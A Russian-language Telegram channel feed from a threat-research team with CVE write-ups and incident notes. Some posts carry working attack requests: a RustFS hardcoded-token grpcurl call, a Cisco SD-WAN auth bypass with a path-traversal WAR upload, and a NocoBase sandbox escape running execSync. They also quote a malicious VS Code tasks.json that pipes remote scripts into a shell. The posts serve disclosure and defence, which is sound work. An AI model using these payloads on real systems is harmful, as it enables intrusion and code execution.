Четыре луча
4.03K subscribers
108 photos
116 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
Критическая уязвимость CVE-2025-68926 в RustFS

RustFS — это высокопроизводительная распределенная система хранения объектов на языке Rust. В версиях до 1.0.0-alpha.78 нашли жестко закодированный токен доступа, который позволяет подключиться к сетевому сервису по протоколу gRPC, полностью обойти аутентификацию и получить права администратора.

👍 Метрики
Base Score: CVSS 9.8 Critical
CWE: 287, 798


👍 Детали уязвимости
В уязвимых версиях RustFS механизм gRPC-аутентификации построен на жестко зашитом токене rustfs rpc. При этом в нем нет механизма конфигурации, токен в публичном доступе и применяется во всех развертываниях RustFS. На стороне сервера в функции проверки аутентификации токен сравнивается с этим литеральным значением:
fn check_auth(req: Request<()>) -> std::result::Result<Request<()>, Status> {
let token: MetadataValue<_> = "rustfs rpc".parse().unwrap();

match req.metadata().get("authorization") {
Some(t) if token == t => Ok(req),
_ => Err(Status::unauthenticated("No valid auth token")),
}
}


Со стороны клиента такой же токен жестко зашит в перехватчике gRPC-запросов:
pub async fn node_service_time_out_client(
addr: &String,
) -> Result<
NodeServiceClient<...>,
Box<dyn Error>,
> {
let token: MetadataValue<_> = "rustfs rpc".parse()?;

// ...

Ok(NodeServiceClient::with_interceptor(
channel,
Box::new(move |mut req: Request<()>| {
req.metadata_mut().insert("authorization", token.clone());
Ok(req)
}),
))
}


RustFS запускает гибридный HTTP+gRPC сервис (по умолчанию на порту TCP 9000), и любой атакующий с сетевым доступом к gRPC-порту RustFS может отправить запросы с заголовком authorization: rustfs rpc и полностью обойти аутентификацию. Например, мы отправили такой grpcurl-запрос:
grpcurl -plaintext \                                       
-H 'authorization: rustfs rpc' \
-import-path crates/protos/src \
-proto node.proto \
127.0.0.1:9001 node_service.NodeService/ServerInfo


В ответ получили:
{
"success": true,
"serverProperties": "<base64>"
}

где base64-строка содержит ServerInfo с конфиденциальными данными.

Злоумышленнику доступны более 50 методов NodeService, с помощью которых он может выполнить любые операции с данными и конфигурацией RustFS.

👍 Как защититься
1) Перейти на версию >= 1.0.0-alpha.78, где токен больше не используется.
2) Ограничить внешний сетевой доступ к gRPC-порту.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10🔥65👾1
Почему у моего дашборда новый админ ?

CVE-2026-21721 — уязвимость небезопасного управления привилегиями в дашбордах Grafana.

Исправления:
>=12.3.0 <12.3.1+security-01
>=12.2.0 <12.2.3+security-01
>=12.1.0 <12.1.5+security-01
>=12.0.0 <12.0.8+security-01
>=10.2.0 <11.6.9+security-01

😬 Метрики
Base Score: 8.1 HIGH
CWE: CWE-269
BDU:2026-01120


😬 Об уязвимости
API отвечает за изменение разрешений дашбордов Grafana. И он не проверяет корректный контекст целевой панели — он лишь смотрит, есть ли у пользователя базовое право на управление разрешениями. В результате если у пользователя есть право управлять разрешениями хотя бы одном дашборде, то он может изменить разрешения других дашбордов, к которым вообще не должен иметь доступ.

Уязвимая конечная точка: /api/dashboards/uid/<uid>/permissions
Для примера можно отправить такой запрос:
POST /api/dashboards/uid/bfc7vbecejl6oc/permissions HTTP/1.1
Host: 192.168.177.165:3000
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: grafana_session=9bbdffb57037d16704c7a299470b6ba4; grafana_session_expiry=1770202645
Content-Length: 44
Content-Type: application/json

{"items": [ {"userId": 2, "permission": 4}]}


Этот запрос удалит все доступные роли и всех пользователей, кроме пользователя userId: 2. Для него запрос установит права администратора в дашборде с uid: bfc7vbecejl6oc

😬 Как защититься
1) Обновиться.
2) Провести мониторинг прав пользователей в созданных дашбордах.
3) Если быстро обновиться невозможно, то лучше временно ограничить доступ к API /api/dashboards/uid/<uid>/permissions для POST-запросов. Для этого используйте правила WAF/IDS.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥113😁3🤩1👾1
NGC3181: как закрепиться в базе данных, не привлекая внимания 💣

Процесс командной строки от модуля TrueConf Server? Давайте разбираться.

Летом прошлого года при расследовании одного из инцидентов мы обнаружили бэкдор в базе данных TrueConf Server, который не был связан с какой либо уязвимостью программы. Началось все со странных запросов на аутентификацию и запуска консоли с помощью одного из модулей программы для ВКС. А закончилось ретроспективным анализом инфраструктуры заказчика.

В новой статье вы узнаете:

☀️ как атакующие закрепились в базе данных TrueConf Server;
☀️ при чем здесь веб-шеллы и запросы на аутентификацию;
☀️ как долго можно сохранять доступ к инфраструктуре жертвы с таким способом закрепления.

Выделенный нами кластер получил название NGC3181 и активен с 2024 года.

Уже в нашем блоге.
Please open Telegram to view this post
VIEW IN TELEGRAM
12🔥8👏2👀2🤓1👾1
Невидимые пользователи в Registry Explorer и ReCmd

Пост для тех, кто пользуется утилитами Эрика Циммермана для ручного просмотра или автоматизированной обработки локальных пользователей Windows.

Вы могли не увидеть часть локальных пользователей из-за бага обработки значений из файла SAM.


Суть бага 💡
У default-значений разделов SAM\Domains\Account\Users\Names\* RID пользователей хранится в той же структуре, в которой обычно хранится тип значения ключа (такие как REG_DWORD, REG_SZ и подобные). Например, у стандартного локального администратора вы можете увидеть тип значения 0x1F4, что соответствует RID 500.

В основной библиотеке Циммермана для работы с реестром, которая была опубликована в GitHub еще в 2014 году, тип значения считывается как 12-битное число и записывается в переменную DataTypeRaw.

Примерно в 2017 году в GitHub появился плагин для обработки SAM, где RID пользователя напрямую берется из переменной DataTypeRaw.

При этом если RID будет больше, чем 4095 (максимальное значение беззнакового 12-битного числа), то логика плагина SAM ломается и пользователь пропадает из вывода утилит Registry Explorer и ReCmd.

Баг существовал в утилитах с момента их публикации.


Не всё так ужасно:

1️⃣ В интерфейсе Registry Explorer или в логе ReCmd вы могли увидеть предупреждение, что плагин SAM отработал с ошибками. И обратить внимание, что на самом деле разделов пользователей больше, чем доступно в выводе утилит.

2️⃣ Баг возникает только если в системе, с которой вы анализируете SAM, исторически было создано более 3095 локальных пользователей (RID начинается с 1001). В обычных условиях это нереалистично.

Вероятнее, вы не сталкивались с этой проблемой, но есть реальный шанс пропустить учетную запись.

😀 Не так давно к нам на анализ попала система, где в результате работы различных самописных скриптов для автоматизации процессов периодически создавались и удалялись локальные учетные записи. Это привело к тому, что недавно созданные учетные записи получали всё более высокое значение RID. Когда атакующие получили доступ к системе, они выполнили создание локальной учетной записи администратора, которая получила RID с пятизначным числом.

Следствие — плагин SAM из Registry Explorer не отобразил учетную запись злоумышленника.

😬 Мы связались с разработчиком и баг уже исправили в новейшей версии плагина SAM от 08.02.2026, поэтому обновитесь в ближайшее время.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥207👌4👍3👀1👾1
Опять $какой-то DDoS

CVE-2026-23864 — уязвимость, которая приводит к отказу в обслуживании из-за большого потребления памяти и чрезмерному использованию центрального процессора в React Server Components.

Уязвимость присутствует в версиях 19.0.0, 19.0.1, 19.0.2, 19.0.3, 19.1.0, 19.1.1, 19.1.2, 19.1.3, 19.1.4, 19.2.0, 19.2.1, 19.2.2, 19.2.3 пакетов:
— react-server-dom-webpack,
— react-server-dom-parcel,
— react-server-dom-turbopack.

🫡 Метрики
Base Score: 7.5 HIGH
CWE: CWE-400, CWE-502


🫡 Об уязвимости
Когда сервер React получает запрос multipart/form-data, он должен декодировать ответ (reply) с помощью функции вроде decodeReplyFromBusboy или decodeReply. Для обработки используется внутренний механизм разборки значений модели, в частности конструкции вида $K<id> (токен).

1️⃣ Парсер создаёт новый объект FormData для каждого токена $K<id>.
2️⃣ Для каждого такого токена он полностью сканирует исходный объект FormData.
3️⃣ Чем больше таких токенов в запросе, тем больше операций копирования и выделения памяти происходит одновременно.
4️⃣ Для эксплуатации уязвимости необходим серверный компонент, который принимает и декодирует тело запроса.

🫡 Пример
Для моделирования уязвимости используем подобную конструкцию:
const root = await decodeReply(formData, {}, {});


formData
— ввод пользователя.
decodeReply — уязвимая функция из react-server-dom-webpack.

Отправим две идентичных нагрузки, только в одной будет массив токенов $K<id>, а во второй просто массив Kx. Результаты на скриншоте.

🫡 Как защититься
1) Обновить все уязвимые компоненты.
2) Написать правило на WAF/IDS, которое будет детектировать токены $K<id> в теле запроса на уязвимый серверный компонент или ограничивать общую длину тела запроса.
Please open Telegram to view this post
VIEW IN TELEGRAM
7🔥3👾2👍1
В одной организации человек открыл фишинговые письма целых пять раз 👀

Да, и такое бывает. Потому что это нестареющая классика для техник первичного доступа.

В новой статье проанализировали фишинговую кампанию Cloud Atlas. Объяснили типичный паттерн действий этой группировки и дали рекомендации, как бороться с сомнительными письмами.

Все подробности в статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
😁188🔥4😱3🤡1👾1
Contagious Interview с русскими кандидатами

Вредоносная кампания, предположительно северокорейских хакеров, распространенная за рубежом, теперь угрожает разработчикам из России.

🫡В открытых источниках мы обнаружили сообщения об атаке против российского разработчика. Злоумышленники притворились потенциальными клиентами и во время общения попросили помочь с разработкой ПО. Они предложили разработчику загрузить проект, который содержал вердоносный код, способный похищать данные криптокошельков и другую личную информацию жертвы.

Кампания длится уже несколько лет и использует изощреные векторы доставки вредоносного ПО. В последнее время широко используется вектор через VS code.

В конкретном случае разработчика пытались взломать, прислав репозиторий проекта w3glpop — «геймерской Web3-панели».

🫡 Активация вредоносной нагрузки BeaverTail происходит при открытии репозитория в VS code. При нажатии Trust во вредоносном проекте срабатывают задачи, указанные в .vscode/tasks.json. Команды в tasks.json могут быть скрыты большим количеством пробельных знаков.

"label": "vscode",
"type": "shell",
"osx": {"command": "curl 'https://task-hrec.vercel.app/task/mac?token=ad76e54312f1' | sh"},
"linux": {"command": "wget -qO- 'https://task-hrec.vercel.app/task/linux?token=ad76e54312f1' | sh"},
"windows": {"command": "curl https://task-hrec.vercel.app/task/windows?token=ad76e54312f1 | cmd"},
"runOptions": {"runOn": "folderOpen"},


Ссылка из вредоносной задачи больше не доступна, но подсказки о последствиях есть в самом репозитории.

Один из файлов — обфусцированный nodejs -загрузчик w3glpop/server/routes/userRoutes.cjs. Он подгружает другой обфусцированный nodejs gjs_shMkMn9.js скрипт и package.json c необходимыми зависимостями. На финальной стадии интервью на компьютер жертвы может подгружаться InvisibleFerret, различные крипто- и инфостилеры.

💡 Проверяйте файлы и задачи репозитория перед открытием в редакторе кода. Для VS Code они содержатся в .vscode/tasks.json. А для IDE JB — в .idea/workplace.xml. Также их можно посмотреть здесь: File > Settings > Tools > StartupTasks.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🔥8🤔21👾1
Форензика Linux: переменные окружения

У процессов Linux есть переменные окружения, к которым можно получить доступ через файл /proc/<pid>/environ или обработку структур памяти процесса. Переменные окружения устанавливаются системными вызовами setenv() или putenv() и наследуются дочерними процессами. Переменные окружения — это ценные источники данных, потому что в них могут быть аномалии, указывающие на атаку.

Вот некоторые переменные окружения, на которые стоит обращать внимание.
• HISTSIZE — максимальный размер истории команд в памяти текущей сессии оболочки.
• HISTFILE — путь к файлу, в который будет записываться история команд, обычно <user_home>/.bash_history.
• HISTFILESIZE — максимальное количество команд, которое может записаться в файл HISTFILE.
• HISTIGNORE — команды, которые следует исключить из логирования.
• HISTCONTROL — указание на то, какие команды логировать.
• HOME — абсолютный путь к домашней директории пользователя.
• PATH — при запуске файла только по его имени система будет искать файл в указанных директориях в порядке приоритета.
• MYSQL_HISTORY, PSQL_HISTORY — путь к файлу, в который будет записываться история команд в консоли соответствующей БД.
• PWD — текущая директория процесса.
• OLDPWD — PWD родительского процесса.
• SUDO_USER — пользователь, запустивший процесс через команду sudo.
• SHLVL — глубина вложенности текущего процесса оболочки.
• _ — полный путь первой команды при запуске процесса из оболочки. Если исполняемый файл был запущен через лаунчер, например, nohup или screen, в переменной будет путь к лаунчеру.
• LD_PRELOAD — путь к файлу, из которого приоритетно подгружаются определения символов для программы. Может использоваться вредоносным ПО класса rootkit.


У процессов SSH-сессий можно обнаружить следующие переменные окружения.
• SSH_CONNECTION — адрес и порт SSH-клиента, адрес и порт сервера (обычно текущей системы). Переменная может содержать значения, даже если сессия уже завершилась.
• SSH_CLIENT — адрес и порт SSH-клиента из SSH_CONNECTION.
• SSH_ORIGINAL_COMMAND — команда, переданная при инициации SSH-соединения.


Наличие в переменных окружения процесса нетипичных значений может помочь вам обнаружить вредоносное ПО в системе. Например, наличие переменных оболочки в системном процессе может указывать на мимикрию — читайте статью о GoblinRAT. Кроме того, вредоносное ПО может использовать кастомные переменные, например:

gsocket;
Bulldog Backdoor (GoRed);
• бэкдор Vasilek;
• бэкдор IDFKA.

В новой статье — подробнее о переменных окружения и способах детектирования подозрительных процессов.

Сохраняйте пост, чтобы не потерять переменные окружения 😬
🔥1611👍8🙏2🤝2💩1👾1
Cisco SD-WAN Zero-Day

CVE-2026-20127 — уязвимость нулевого дня в Cisco Catalyst SD-WAN и Cisco Catalyst SD-WAN. Она позволяет обойти аутентификацию и получить административные привилегии.

😬 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-287


😬 Предисловие
Из описания эксплойта, эту уязвимость активно используют в атаках с 2023 года группа киберпреступников UAT-8616. Первые публичные упоминания эксплойта мы зафиксировали 27 февраля — тогда выложили полное описание работы скрипта и ссылку на покупку эксплойта. Вчера в сети появился общедоступный эксплойт.

😬 Как работает эксплуатация
1. Формируется GET-запрос на reports/data/opt/data/containers/config/data-collection-agent/.dca
значение .dca файла — представляет из себя строку, похожую на хеш-значение.
2. Содержимое полученного .dca файла передается POST-запросом на конечную точку /jts/authenticated/j_security_check как пароль. Значение username мы называть не будем, но POST-запрос выглядит так
POST /jts/authenticated/j_security_check HTTP/1.1
Host: localhost
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 74
Content-Type: application/x-www-form-urlencoded

j_username=XXXX&j_password=b3acz89XXXXXXacf302e5

/jts/authenticated/j_security_check - механизм Java EE Form-Based Authentication.

3. При успешной авторизации злоумышленник загружает файл на конечную точку /dataservice/smartLicensing/uploadAck, где в значении filename эксплуатируется уязвимость обхода путей. Пример запроса:
POST /dataservice/smartLicensing/uploadAck HTTP/1.1
Host: localhost
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: JSESSIONID=c1N2jeCLfkrG2G7wlhJXCJCEt2gTqhoAGcVxxniA.97817f3b6e02100c1bf62e9c2eae9b3f592d91f007bc9dc58ee3830749df194a
Content-Length: 319
Content-Type: multipart/form-data; boundary=c811fbda7a1ec25b4516595aecf20fb8

--c811fbda7a1ec25b4516595aecf20fb8
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../var/lib/wildfly/standalone/deployments/cmd.gz.war"
Content-Type: application/java-archive

/*archive bytes */
--c811fbda7a1ec25b4516595aecf20fb8--

/dataservice/smartLicensing/uploadAck – конечная точка загрузки лицензий.

😬 Пример
На скриншоте — авторизация с реальным .dca и случайной строкой. Значение j_username было скрыто. В одном случае мы успешно обошли авторизацию, в другом получили ошибку.

😬 Как защищаться
1) Ограничить доступ к reports/data/opt/data/containers/config/data-collection-agent/ из внешней сети правилами WAF/IDS.
2) Провести аудит недавно авторизированных пользователей из внешней сети через конечную точку /jts/authenticated/j_security_check.
3) Провести аудит подозрительных архивов, переданных через конечную точку /dataservice/smartLicensing/uploadAck.
4) Проверить папку /deployments на подозрительные файлы.
5) Обновиться.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥953👍2👾1
Как и кого атаковали хакеры в 2025 году? Расскажем уже завтра

Каждый день мы расследуем инциденты в инфраструктурах наших клиентов: находим новое вредоносное ПО, сталкиваемся с любопытными примерами применения тактик и техник. Пришло время рассказать о самых интересных находках за прошлый год.

Завтра в 12:00 наши эксперты Иван Шадрин и Владимир Духанин проведут вебинар «Что нужно знать о целевых кибератаках 2025: тренды, прогнозы, кейсы».

На вебинаре ребята расскажут:
🫡 Как изменился ландшафт целевых атак в 2025 году и чего ждать в 2026-м.
🫡 Какие отрасли бизнеса подвергались атакам чаще всего и с какой целью.
🫡 Какие особо интересные техники использовали злоумышленники: разбор кейсов расследований.

Приходите ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥114🤝3🙏2👾1
Спасибо за backup

CVE-2026-27944 — уязвимость, которая позволяет получить полную резервную копию системы неаутентифицированному злоумышленнику. Проблема затрагивает Nginx UI версий ниже 2.3.3.

Nginx UI — это веб-интерфейс для веб-сервера Nginx.

😬Метрики:
Base Score: 9.8 CRITICAL
CWE: CWE-306, CWE-311


😬Подробнее об уязвимости:
В версиях Nginx UI присутствует уязвимая конечная точка /api/backup, которая позволяет получить полный backup системы. Уязвимость возникает из-за отсутствия механизма проверки аутентификации при обращении к данной конечной точке. Ситуация усугубляется тем, что ключ для расшифровки backup, передается сервером в заголовке HTTP-ответа X-Backup-Security. Это позволяет злоумышленнику получить и расшифровать резервную копию системы.

Пример приведен на скриншоте.

😬Шаги эксплуатации:
1️⃣ Отправка GET-запроса к уязвимой конечной точке /api/backup без аутентификации.
2️⃣ Получение зашифрованного файла резервной копии в теле ответа.
3️⃣ Получение ключа шифрования из заголовка ответа X-Backup-Security.
4️⃣ Расшифровка резервной копии.

😬Как защищаться:
1) Обновиться.
2) Провести аудит запросов к уязвимой конечной точке /api/backup.
3) Ограничить доступ к конечной точке из общей сети. Например, с помощью правил WAF/IDS или белых списков.
4) Сменить пароли, SSL ключи и API токены.
5) Внедрить дополнительную аутентификацию (например, HTTP Basic Authentication) на уровне reverse-proxy.
Please open Telegram to view this post
VIEW IN TELEGRAM
🤣128🔥4👍3😁2👾2
Анализ уязвимости CVE-2026-32746 в telnetd

CVE-2026-32746 — критическая уязвимость переполнения буфера в демонe telnetd из пакета GNU Inetutils. Уязвимы версии до 2.7 включительно.

Уязвимость позволяет удаленному атакующему без аутентификации переполнить буфер, а в некоторых случаях выполнить произвольный код с правами root.

🫡 Метрики
Base Score: 9.8 CRITICAL
CWE: CWE-120


🫡 Причина уязвимости
Проблема возникает в обработчике опции LINEMODE протокола Telnet, а именно в функции add_slc(), которая добавляет SLC-триплеты во внутренний буфер фиксированного размера. Здесь нет проверки границ буфера — в итоге происходит запись за пределами отведенной памяти при обработке большого количества SLC-триплетов.

🫡 Подробнее
При установлении Telnet-сессии telnetd включает LINEMODE и обрабатывает SLC (Set Local Characters). Функция add_slc() записывает SLC-триплеты по 3 байта в статический буфер slcbuf размером 108 байт, из которых 104 байта доступны под данные:
add_slc (register char func, register char flag, register cc_t val)
{

if ((*slcptr++ = (unsigned char) func) == 0xff)
*slcptr++ = 0xff;

if ((*slcptr++ = (unsigned char) flag) == 0xff)
*slcptr++ = 0xff;

if ((*slcptr++ = (unsigned char) val) == 0xff)
*slcptr++ = 0xff;

}


Если клиент отправляет SLC-триплеты с кодами функций выше допустимого NSLC = 18, сервер формирует ответы not supported, добавляя каждый триплет в буфер через add_slc().

Из-за отсутствия проверки границ после порядка 35 триплетов slcbuf переполняется и запись идет за пределы 104 байт — это повреждает данные в BSS, включая указатель slcptr. При последующей обработке в end_slc() используется уже повреженный указатель, что вызывает запись по некорректному адресу и приводит к принудительному завершению процесса.

🫡 Шаги эксплуатации
1) Подключение злоумышленника к telnetd и прохождение negotiation, автоматически соглашаясь со всеми опциями сервера.

2) Инициация LINEMODE командой WILL LINEMODE: она доводит сессию до состояния, при котором сервер подтверждает режим DO LINEMODE и готов обрабатывать suboptions.

3) После активации LINEMODE отправляется Telnet-пакет IAC SB LINEMODE SLC ... IAC SE с избыточным числом SLC-триплетов.

4) Сервер обрабатывает триплеты в slc.c, последовательно записывая их в буфер slcbuf без должной проверки границ.

5) При превышении допустимого количества элементов буфера переполняется, память процесса повреждается. Это приводит к крашу telnetd.

🫡 Как защититься
Уязвимость еще не исправлена, поэтому ограничьте внешний доступ к telnetd или откажитесь от его использования до выхода исправления.
Please open Telegram to view this post
VIEW IN TELEGRAM
6👍5🔥5
Как устроена веб-панель вредоноса ClayRat

ClayRat — Android spyware/RAT, который громко заявил о себе в конце 2025 года, но также быстро исчез из поля зрения. Не самый изощренный, но практичный инструмент для скрытого наблюдения и удаленного управления устройством.

В новой статье мы подробно разбираем серверную и клиентскую часть ClayRat:
как устроен бэкенд на Go, хранение паролей в plaintext, использование JSON хранилища вместо базы данных;
как работает многоуровневая фильтрация SMS по ключевым словам банков и регулярным выражениям;
каким образом генерируются вредоносные APK через специальный шаблон.

Факты о ClayRat:
— Android spyware/RAT с функциональностью перехвата SMS, звонков, контактов, скриншотов и удаленного управления.
— Бэкенд написан на Go, не обфусцирован, содержит дебаг-строки и использует файловое хранение (JSON) вместо СУБД.
— Конфигурация хранится в plaintext: пароли пользователей, токены Telegram/SMS, C2-домены.
— Фильтрация SMS реализует многоуровневый парсинг: поиск по ключевым словам банков, МФО, маркетплейсов, регулярные выражения для номеров карт.
— APK-билдер генерирует вредоносные приложения на основе шаблона с подстановкой конфигурируемых параметров.
— Инфраструктура насчитывала ~100 серверов 

К декабрю 2025 года все C2-серверы стали недоступны. В открытых источниках — информация о задержании в Краснодаре студента, подозреваемого в создании вредоноса.


Если вы занимаетесь анализом Android-угроз, материал поможет быстрее атрибутировать схожие образцы и понимать типичные ошибки разработчиков малвари.

🔗 Читать анализ ClayRat
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍74❤‍🔥1
RCE Langflow

CVE-2026–33017 — уязвимость удаленного выполнения кода (RCE) в Langflow версиях до 1.9.0.

Langflow — это инструмент для создания и развертывания агентов и рабочих процессов на основе ИИ.

🫡 Метрики
Base Score: 9.3 CRITICAL
CWE: CWE-94, CWE-95, CWE-306.


🫡 Об уязвимости
В уязвимых версиях Langflow существует API-точка /api/v1/build_public_tmp/{flow_id}/flow, которая предназначена для создания общедоступных потоков (flows) без авторизации. Конечная точка принимает необязательный параметр data с JSON-описанием графа. При его наличии сервер использует переданные данные вместо сохраненного flow из БД, что позволяет выполнить произвольный Python-код через CustomComponent не изолированно.

🫡 Векторы реализации атак
1) При установки конфигурации Langflow с параметром LANGFLOW_AUTO_LOGIN: "true" , злоумышленник может посмотреть flow_id любого публичного потока через GET-запрос на конечную точку /api/v1/flows/.
Или создать публичный поток через запрос POST/PATCH на конечную точку /api/v1/flows/

После эксплуатации уязвимости публичный поток может быть удален через DELETE-запрос к /api/v1/flows/.

2) При установки конфигурации Langflow с параметром LANGFLOW_AUTO_LOGIN: "false" получение значения flow_id публичного потока злоумышленником, усложниться. Так как все запросы на /api/v1/flows/ будут требовать авторизации.

Значение Cookie client_id в обоих вариантах может быть авто сгенерированным, например, через str(uuid.uuid4()).

LANGFLOW_AUTO_LOGIN: "true" включает функцию автоматического входа и позволяет получать авторизационные cookies без явной авторизации через логин/пароль.

Проверить, включена ли эта настройка, можно с помощью GET-запроса к /api/v1/auto_login: если в ответе возвращается токен авторизации, значит автоматический вход активен. Данная настройка усложняет получение flow_id, но не закрывает уязвимость.

🫡 Эксплуатация
После получения всех необходимых ID-эксплуатация структурно, выглядит так:
POST /api/v1/build_public_tmp/27a7a181-f100-4b9a-a963-13099384eac0/flow HTTP/1.1
Host: localHost
Cookie: client_id=RANDOM_STRING
Content-Type: application/json
{"data": {...}}


Пример можно увидеть на скриншоте.

🫡 Как защищаться
1) Установить LANGFLOW_AUTO_LOGIN: "false”.
2) Обновиться.
3) Написать IDS/WAF-правила, блокирующие POST-запросы на /api/v1/build_public_tmp/{flow_id}/flow, где в параметре data могут передаться потенциально опасные функции, например: import, system, exec, os, popen и т.д.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12🤔3👍2
Dead Drop Resolver переехал в Spotify и Chess

Если раньше C2 чаще прятали в Steam и Telegram, то теперь в качестве dead drop-источников начинают использовать и менее очевидные площадки — плейлисты Spotify и профили Chess.com.

👍 В новой статье мы разбираем семпл MaskGramStealer, где адрес C2 извлекается из публичного контента легитимных сервисов, а затем используется для дальнейшего взаимодействия с инфраструктурой атакующих.

На практике такая схема усложняет блокировки, поскольку в бинарном файле остаются только ссылки на легитимные ресурсы и маркеры парсинга, а сами C2 злоумышленники могут менять в любой момент без перекомпиляции и пересборки семпла.

Что разобрали в статье:

DDR-источники Spotify и Chess.com (с резервными площадками);
как из публичной страницы извлекается C2;
доставка модулей: base64 — RC4 — проверка MZ;
геофильтрация зараженных устройств из РФ.

Читать разбор техники Dead Drop Resolver в MaskGramStealer
Please open Telegram to view this post
VIEW IN TELEGRAM
👍115🔥5👏2
Как распаковать Smart Install Maker

Во время реверса аналитику регулярно нужно преодолевать многоуровневую обфускацию. Сами знаете: прежде чем добраться до интересной логики, часто приходится вручную разбирать кастомные протоколы, восстанавливать конфигурации или извлекать данные из нестандартных контейнеров.

Особая боль категория таких задач — образцы, собранные с помощью конструкторов инсталляторов. Они маскируют вредоносную нагрузку под легитимный процесс установки, но при этом требуют специфического подхода к распаковке.


😬 Один из инструментов — Smart Install Maker: формат известен давно, но качественных открытых утилит для его разбора до сих пор нет, а существующие решения часто неудобны для интеграции в аналитический пайплайн.

При этом формат продолжают активно использовать злоумышленники, в частности, APT-группа Librarian Likho (aka Rare Werewolf и Rezet) применяла его в своих кампаниях для доставки вредоносов.

Мы написали статью, в которой разобрали внутреннюю структуру этого формата на примере одной из нагрузок Librarian Likho. А ещё делимся кодом распаковщика на Python, который можно сразу использовать.

Всем отличной пятницы ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍62😁1🤔1
Устраиваем «битву кейсов» с коллегами из DSEC. Присоединяйтесь!

Завтра в 12:00 участвуем в вебинаре. Но это не просто вебинар, это настоящая «битва эпических ИБ-историй».

Идея такая:

📍 Мы — делимся историями из реальных расследований инцидентов, которые провели в организациях из шести разных индустрий.

📍 Наши коллеги из DSEC — оппоненты. Они расскажут о самых уязвимых веб-приложениях, самых распространённых брешах во внешнем и внутреннем контурах. Ребята провели 400 пентестов, им есть что рассказать!

Насколько те проблемы безопасности, которые мы находим в качестве причин реальных инцидентов, перекликаются с тем, что находят в своей работе эксперты из DSEC?

Мы в предвкушении. Если и вы тоже, то присоединяйтесь к «битве»: https://rt-solar.ru/analytics/webinars/6463/
Please open Telegram to view this post
VIEW IN TELEGRAM
10👍8🔥7
Побег из песочницы

CVE-2026–34156 — уязвимость выполнения удаленного кода (RCE) в NocoBase. Проблема закрыта в версии 2.0.28 и выше.

NocoBase — это легко расширяемая open-source no-code/low-code платформа для разработки, которая помогает командам разработчиков и бизнесу быстро создавать собственные управляемые бизнес-системы.


🫡 Метрики
Base Score: 9.9 CRITICAL
CWE: CWE-913


🫡 Об уязвимости
Проблема возникает в узле JavaScript рабочего процесса (workflow script node), где JavaScript-код пользователя выполняется в изолированной среде, но при этом объект console предоставляет доступ к потокам хост-процесса через console._stdout и console._stderr. Злоумышленнику достаточно базовых прав, чтобы вытащить объекты WritableWorkerStdio и выйти за пределы изоляции.

Уязвимая конечная точка — /api/flow_nodes:test

Уязвимость может усугублять еще один фактор: при развертывании уязвимой версии NocoBase, данные от пользовательского интерфейса авторизации задаются константно, их можно узнать в документации к NocoBase. Эти логин и пароль дают доступ администратора.

🫡 Код для выхода из песочницы. Пример команды
const cons=console._stdout.constructor.constructor;
const proc= cons('return process')();
const cmd=proc.mainModule.require('child_process');
return cmd.execSync('id').toString().trim();


console._stdout.constructor.constructor или аналог console._stderr.constructor.constructor - пытается добраться до конструктора Function через цепочку прототипов.

cons('return process')() — создаёт функцию, которая возвращает объект process из хост-среды.

proc.mainModule.require('child_process') — загружает модуль child_process.

execSync('COMAND') — выполняет системную команду и возвращает вывод. Вариации полезной нагрузки могут изменяться, например, кодироваться, передаваться в другом регистре и т.д.

execSync(String.fromCharCode(105,100)).toString().trim() — выполнит команду ID.

К посту прикреплен docker-compose файл, для сборки уязвимой версии NocoBase. Логин и пароль для авторизации предлагаем найти самостоятельно.

🫡 Как настроить стенд
Шестеренка -> workflow -> Add new - > заполняем произвольно -> в появившемся workflow, в столбце Action, выбираем Configure -> в рабочей области нажимаем на + -> Extended types выбираем JavaScript -> в появившемся узле JavaScript нажимаем на значок консоли -> Script content и есть поле, через которое происходит эксплуатация. А дальше по классике Burp Suite и Repeater. Пример на скриншоте.

🫡 Как защититься
1) Сменить стандартные логин и пароль администратора.
2) Ограничить доступ к /api/flow_nodes:test только администраторам.
3) Обновиться.
4) Блокировка POST-запросов к /api/flow_nodes:test, в Body которых передается console._stdout или console._stderr. Например, правилами WAF/IDS.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥73👍3😁1
Что общего у атак Shedding Zmiy и русской литературной классики?

И там, и там есть мертвые души.

Недавно мы расследовали инцидент — проукраинская группировка атаковала крупную российскую организацию в сфере здравоохранения.

Выяснили, что атакующие более шести месяцев имели доступ к инфраструктуре организации из отрасли здравоохранения через VPN и шпионили. Подключались к инфраструктуре с помощью учетных записей уволенных сотрудников, которые вовремя не вывели из эксплуатации. 

😬 Читайте подробности в новой статье
Please open Telegram to view this post
VIEW IN TELEGRAM
15🔥11😎9👍4
Приходите на Митап Solar 4RAYS: расследование инцидентов, вредоносное ПО, киберразведка

📅 21 апреля в 18:00 в Амфитеатре офиса «Солар» на Никитском переулке пройдет митап команды Solar 4RAYS — открытая встреча для всех, кому близка тема киберугроз, расследований и охоты за вредоносами.

В программе:
😬 разберем новое исследование крупного ботнета;
😬 доклады приглашенных спикеров из других ИБ-компаний с реальными кейсами и находками;
😬 мини-соревнование: приготовили задание на форензику, так что можно будет попробовать себя в роли расследователя цифрового инцидента.

Подробную программу скоро опубликуем, но уже сейчас можно бронировать слот в календаре.

Зарегистрироваться

Как говорится, save the date — будет насыщенно, полезно и уж точно не скучно ;)
Please open Telegram to view this post
VIEW IN TELEGRAM
